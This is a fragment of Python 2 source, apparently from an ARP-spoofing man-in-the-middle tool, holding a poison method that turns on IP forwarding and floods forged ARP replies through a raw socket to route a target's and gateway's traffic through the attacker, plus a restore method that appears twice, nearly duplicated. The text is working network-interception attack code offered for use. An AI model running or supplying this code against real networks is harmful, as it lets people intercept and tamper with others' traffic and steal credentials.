def restore(self, delay, target_b=None): """ reset arp cache of the target and the router (AP) """ if not target_b: target_b = self.gateway source_mac = utils.get_mac_by_ip(target_b) sock = socket(PF_PACKET, SOCK_RAW) sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP)) if not isinstance(self.target, list): target_mac = utils.get_mac_by_ip(self.target) for _ in xrange(6): sock.send( str( utils.build_arp_packet(target_mac, target_b, self.target))) sock.send( str( utils.build_arp_packet(source_mac, self.target, target_b))) else: for addr in self.target: target_mac = utils.get_mac_by_ip(addr) for _ in xrange(6): sock.send( str(utils.build_arp_packet(target_mac, target_b, addr))) sock.send( str(utils.build_arp_packet(source_mac, addr, target_b)))
def poison(self, delay, target_b=None): """ poison arp cache of target and router, causing all traffic between them to pass inside our machine, MITM heart """ if not target_b: target_b = self.gateway utils.set_ip_forward(1) sock = socket(PF_PACKET, SOCK_RAW) sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP)) try: while True: if self.debug: log.info('[+] %s <-- %s -- %s -- %s --> %s', target_b, self.target, self.dev, target_b, self.target) if not isinstance(self.target, list): sock.send(str(utils.build_arp_packet( self.src_mac, target_b, self.target))) sock.send(str(utils.build_arp_packet( self.src_mac, self.target, target_b))) time.sleep(delay) # OS refresh ARP cache really often else: for addr in self.target: sock.send(str(utils.build_arp_packet(self.src_mac, target_b, addr))) sock.send(str(utils.build_arp_packet(self.src_mac, addr, target_b))) time.sleep(delay) # OS refresh ARP cache really often except KeyboardInterrupt: print('\n\r[+] Poisoning interrupted') sock.close()
def restore(self, delay, target_b=None): """ reset arp cache of the target and the router (AP) """ if not target_b: target_b = self.gateway source_mac = utils.get_mac_by_ip(target_b) sock = socket(PF_PACKET, SOCK_RAW) sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP)) if not isinstance(self.target, list): target_mac = utils.get_mac_by_ip(self.target) for _ in xrange(6): sock.send(str(utils.build_arp_packet(target_mac, target_b, self.target))) sock.send(str(utils.build_arp_packet(source_mac, self.target, target_b))) else: for addr in self.target: target_mac = utils.get_mac_by_ip(addr) for _ in xrange(6): sock.send(str(utils.build_arp_packet(target_mac, target_b, addr))) sock.send(str(utils.build_arp_packet(source_mac, addr, target_b)))